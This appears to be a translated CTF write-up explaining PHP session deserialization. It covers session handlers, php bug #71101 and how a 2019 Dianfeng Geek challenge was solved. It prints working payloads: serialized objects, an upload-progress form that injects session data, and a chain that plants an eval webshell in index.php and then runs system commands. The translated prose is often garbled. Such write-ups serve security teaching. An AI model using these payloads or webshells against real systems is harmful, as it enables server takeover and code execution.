Understanding PHP Session Deserialization Vulnerabilities
0x01 Preface
A recent Dianfeng Geek CTF included a session-deserialization challenge. I used it as an opportunity to organize the history and mechanics of PHP session deserialization. Corrections are welcome.
0x02 What Is a PHP Session?
Discussing PHP session, first understand whatsession. What exactly issession?
Sessionis commonly called session control: a safer conversation between client and site/server. Once session session can be used or maintained on any page, creating a conversation between visitor and site. Session implementations vary by language; this article coversPHP sessionmechanism.
PHP session is a special variable that stores user-session information or changes session settings. Note thatPHP Session stores information for one user and is available to every application page. Its concrete session values are stored server-side, the main difference from cookie main difference, soseesion has relatively stronger security.
0x03 PHP Session Workflow
The session flow is simple. When a session starts, PHP looks for a session ID in the request, usually via the session cookie). If the requestedCookies、Get、Posdoes not exist in tsession id, PHP automatically callsphp_session_create_idcreates a new session and inhttp responsethroughset-cookieheader to the client for storage:

Browser settings sometimes disable cookie, when the clientcookieis disabled, PHP can still automatically addsession idto URL parameters andformofhidden field, but this requiresphp.iniinsession.use_trans_sidto On or call at runtimeini_setto configure it.
After the session begins, PHP places its data in $_SESSION variable. The following code registers a variable in $_SESSION variable:
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'xianzhi' ;
}
?>
When PHP stops, it automatically reads $_SESSION contents and appliesSerialization, then sends it to the session-save handler.
By default, PHP uses its built-in file session-save handler forsessionsaving can also be configured through session.save_handler changes the chosen session-save handler. The file handler stores session data at the location configured bysession.save_pathconfigured location.
That is the overall flow; the following diagram is another reference:

0x04 PHP Session Configuration in php.ini
PHP sessioninphp.inicontains these main settings:
-
session.gc_divisor
PHP session garbage-collection settings
-
session.sid_bits_per_character
Bits per character in the encoded session ID.
-
session.save_path=""
This setting primarily configures
sessionstorage path -
session.save_handler=""
Configures a user-defined storage function. To use PHP's built-in
sessioncan use this function instead of the built-in storage -
session.use_strict_mode
Strict session mode rejects uninitialized session IDs and regenerates them.
-
session.use_cookies
Whether the client stores the session ID in a cookie. Enabled by default.
-
session.cookie_secure
Whether to send only over secure connections.
cookie; disabled by default -
session.use_only_cookies
Whether the clientonlyUse
cookieto store session IDs, preventing attacks involving IDs passed in URLs -
Session name used for
cookiename, alphanumeric only. DefaultPHPSESSID -
session.auto_start
Whether the session module starts a session at request startup. Default 0 (disabled).
-
session.cookie_lifetime
Cookie lifetime in seconds. 0 means until the browser closes. Default 0
-
session.cookie_path
Specifies the session
cookiepath. Default / -
session.cookie_domain
Specifies the session
cookiecookie domain. Default none, derived fromcookieformat producedcookiehostname -
session.cookie_httponly
Marks cookies as HTTP-only, preventing script access such as JavaScript and reducing identity theft through XSS.
-
session.serialize_handler
Handler used for serialization/deserialization. Default
php. Other engines exist, and each stores sessions differently as described below. -
session.gc_probability
This setting and
session.gc_divisorTogether managegarbage collection, the probability that garbage collection starts -
session.gc_divisor
This setting and
session.gc_probabilityTogether define the probability of starting garbage collection during each session initialization. -
session.gc_maxlifetime
Seconds before data is considered garbage and removed. Collection may begin at
sessionstartup, depending onsession.gc_probabilityandsession.gc_divisor) -
session.referer_check
contains checks for each
HTTP Referersubstring. If the client sendsRefererinformation but the substring is absent, the embedded session ID is marked invalid. Default: empty string. -
session.cache_limiter
Buffer-control method for session pages (
none/nocache/private/private_no_expire/public). The default isnocache -
session.cache_expire
Lifetime in minutes for buffered session pages. This setting is ignored under
nocachebuffer control. Default 180. -
session.use_trans_sid
Whether transparent SID support is enabled. Disabled by default.
-
session.sid_length
Session ID string length, 22–256. Default 32.
-
session.trans_sid_tags
HTML tags whose URLs are rewritten to include a session ID under transparent SID support.
-
session.trans_sid_hosts
Hosts whose URLs are rewritten to include the session ID when transparent SID support is enabled.
-
session.sid_bits_per_character
Bits per character in the encoded session ID.
-
session.upload_progress.enabled
Enable upload-progress tracking and populate
$ _SESSIONvariable. Enabled by default. -
session.upload_progress.cleanup
Immediately clear progress data after all POST data has been read (upload complete). Enabled by default.
-
session.upload_progress.prefix
configuration
$ _SESSIONupload-progress key prefix; defaultupload_progress_ -
session.upload_progress.name
$ _SESSIONkey used to store progress information; defaultPHP_SESSION_UPLOAD_PROGRESS -
session.upload_progress.freq
How often upload-progress information is updated.
-
session.upload_progress.min_freq
Minimum delay between updates.
-
session.lazy_write
Whether session data is rewritten when changed. Enabled by default.
These settings affect session hijacking, XSS, CSRF, and other security topics outside this article. Here we focus onsession.serialize_handler setting
0x05 PHP Session Storage
The previous section mentioned PHP sessionstorage is controlled bysession.serialize_handler defines the engine. File storage is the default, with filenames determined bysess_sessioniddetermines the filename, although it can change; for exampleCodeigniterframework's sessionstored filename isci_sessionSESSIONID, as shown below:

The file always contains the serialized session value:

session.serialize_handler defines three engines:
| Handler name | Storage format |
|---|---|
| php | key name + vertical bar + value serialized byserialize()value serialized by the function |
| php_binary | ASCII character for key-name length + key name + value serialized byserialize()value serialized by the function |
| php_serialize | serialized by serialize()array |
Note: available since PHP 5.5.4 php_serialize
Of the three handlers above,php_serialize internally uses directly serialize/unserialize function, withoutphpand php_binary limitations. Using the older serialization handler causes $_SESSION index cannot be numeric or contain special characters (| and !) 。
Now compare results serialized by the three handlers.
php handler
First examinesession.serialize_handlerequals phpserialized result; demo:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

The serialized result is:session|s:7:"xianzhi";
session to$_SESSION['session']key name;|is the serialized GET parameter value
php_binary handler
Now examinesession.serialize_handlerequals php_binaryserialized result.
Demo:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>
To make format differences obvious, use a key length of 35; its ASCII code is#, producing the result below:

The serialized result is:#sessionsessionsessionsessionsessions:7:"xianzhi";
#is the ASCII value corresponding to key-name length;sessionsessionsessionsessionsessionsas the key name;s:7:"xianzhi";is the serialized GET value
php_serialize handler
Finally,session.serialize_handlerequals php_serializeserialized result; similarly, demo:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

The serialized result is:a:1:{s:7:"session";s:7:"xianzhi";}
a:1represents$_SESSIONarray contains one element; the braces contain the serialized GET value.
0x06 php bug #71101
This bug was reported by WooYun white-hatryatresearcher on2015-12-12on PHP's official site. The payload was:
<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>
<input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />
<input type =“ file” name =“ file” />
<input type =“ submit” />
</ form>
Then$_SESSIONkey's value becomes$_SESSION["upload_progress_ryat"]. During session upload, session data is serialized/deserialized using the format selected byphp.iniinsession.serialize_handleroption. Thus, if a different value is set in the scriptserialize_handler, arbitrary injection can occur intosessiondata.
The explanation above may seem convoluted. Simply put,phphandler andphp_serializehandlers each produce valid formats, but mixing them creates danger.
arises when usingsession.serialize_handler = php_serializestored characters can introduce |, then usingsession.serialize_handler = phpformat extracts$_SESSIONvalue, |is treated as the key/value separator and can create deserialization vulnerabilities in specific contexts.
Consider a simple example.
Define asession.phpfile, used to pass sessionvalue; file contents:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
First examinesessioninitial contents:
a:1:{s:7:"session";s:5:"hello";}

has anotherclass.php file with the following content:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class XianZhi{
public $name = 'panda';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
?>
Visiting the page shows:

After instantiation, outputspanda
The purpose of both files is clear:session.phpfile's handler isphp_serialize,class.phpfile's handler isphp,session.phpfile receives controllable session value;class.phpfile outputs before deserializationWho are you?; when deserialization ends, outputnamevalue.
To exploit these two files for php bug #71101; we need to place it insession.phpfile receives|+Serializationformat value, then revisitclass.phpfile is processed, it callssessionvalue triggers this bug.
First generate the serialized string with this payload:
<?php
class XianZhi{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
$str->name = "xianzhi";
echo serialize($str);
?>

payload:O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}
Then passsession.php:

At this point, sessionIts contents are:

a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}
Visit againclass.phpfile, we find that it has triggered php bug #71101, as shown below:

This is only a simple assignment/retrieval example and does not address controlling session value. The following 2019 Dianfeng Geek lolThisphp sessiondeserialization challenge as the case study.
0x07 PHP Session Deserialization Case Study
Our team saved the challenge source during the competition. Some pages may be incomplete, but solving is unaffected. Structure:
├── app
│ ├── controller
│ │ ├── Files.class.php
│ │ └── IndexController.class.php
│ ├── model
│ │ └── Download.class.php
│ └── view
│ └── Cache.class.php
├── core
│ ├── config.php
│ ├── core.php
│ └── func.php
├── index.php
├── upload
│ └── e9ovitochivkoamlodj6vu9g7g
└── user
inconfig.phpfile contains a prominent note:
<?php
$config=array(
'debug'=>'false',
'ini'=>array(
'session.name' => 'PHPSESSID',
'session.serialize_handler' => 'php'
)
);
Yes, it is the previously mentionedsession.serialize_handler. Now locate wheresession. Searching finds it in/core/core.phpfile shows:
<?php
if(!defined('Core_DIR')){
exit();
}
include(Core_DIR.DS.'config.php');
include(Core_DIR.DS.'func.php');
_if_debug($config['debug']);
spl_autoload_register('autoload_class');
config($config['ini']);
session_start();
define('Upload_DIR',Image_DIR.DS.session_id());
init();
$app = new IndexController();
if(method_exists($app, $app->data['method'])){
$app->{$app->data['method']}($app->data['param']);
}else{
$app->index();
}
#$this->method($_POST)
primarily
config($config['ini']);
session_start();
These lines read session values. For a PHP session-deserialization challenge, the first step is to find a controllablesessionlocation. Searching reveals it inapp/model/Cache.class.phpfile, whose contents are:
<?php
class Cache{
public $data;
public $sj;
public $path;
public $html;
function __construct($data){
$this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
$this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
$this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
$this->path=Cache_DIR.DS.session_id().'.php';
}
function __destruct(){
$this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript> </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div> <div class="content"><div class="inner"> <h1>Hero of you</h1></div> </div> <nav><ul> <li><a href="#you">YOU</a></li></ul> </nav></header><div id="main"><article id="you"> <h2 class="major" ng-app>%s</h2> <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script> </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');
if(file_put_contents($this->path,$this->html)){
include($this->path);
}
}
}
In the cache class,nameandmessagevalue is received through POST and passed into pathpage. The situation is now clear: we controlnameandmessagea variable's value, then choose apath, finally in the chosenpathpage generate the desired content. Payload:
<?php
class Cache{
public $data ;
public $sj;
public $path = '/Library/WebServer/Documents/ctf/index.php';
public $html;
}
$str = new Cache();
$str->data= [
"name" => "payload",
"message" => "panda",
"image" => "panda"
];
echo serialize($str);
?>
The generated serialized value is:
O:5:"Cache":4:{s:4:"data";a:3:{s:4:"name";s:7:"payload";s:7:"message";s:5:"panda";s:5:"image";s:5:"panda";}s:2:"sj";N;s:4:"path";s:42:"/Library/WebServer/Documents/ctf/index.php";s:4:"html";N;}
Then take name inpayloadvalue to<?php eval($_GET[1]);?>, as follows:
O:5:"Cache":4:{s:4:"data";a:3:{s:4:"name";s:23:"<?php eval($_GET[a]);?>";s:7:"message";s:5:"panda";s:5:"image";s:5:"panda";}s:2:"sj";N;s:4:"path";s:42:"/Library/WebServer/Documents/ctf/index.php";s:4:"html";N;}
Then use the earlierPHP BUG #71101, establishup.htmlpage, whose contents are:
<form action="http://10.37.14.49/ctf/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="panda" />
<input type="file" name="file" />
<input type="submit" />
</form>
Capture the request and modifyvaluevalue, as shown below:

After the request,sessionis immediately emptied and overwritten

Requests must be sent repeatedly. A script would work, but I took the shortcut of using Burp:

Then index.php changes to:

directly intoindex.phppage sends?a=system('cat /Library/WebServer/Documents/ctf/flag');request to obtain the flag.

0x08 Summary
Through this analysis of PHP sessionanalysis. I hope it provides a clearer understanding; questions and feedback are welcome.
0x09 References
https://blog.csdn.net/m0_37421065/article/details/78930935
https://www.php.net/manual/zh/session.configuration.php
https://bugs.php.net/bug.php?id=71101
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://www.ctolib.com/topics-81497.html
Attachment:https://xzfile.aliyuncs.com/upload/affix/20191026143810-2d53db1e-f7bb-1.zip
Note: first published on Xianzhi Community. Original:https://xz.aliyun.com/t/6640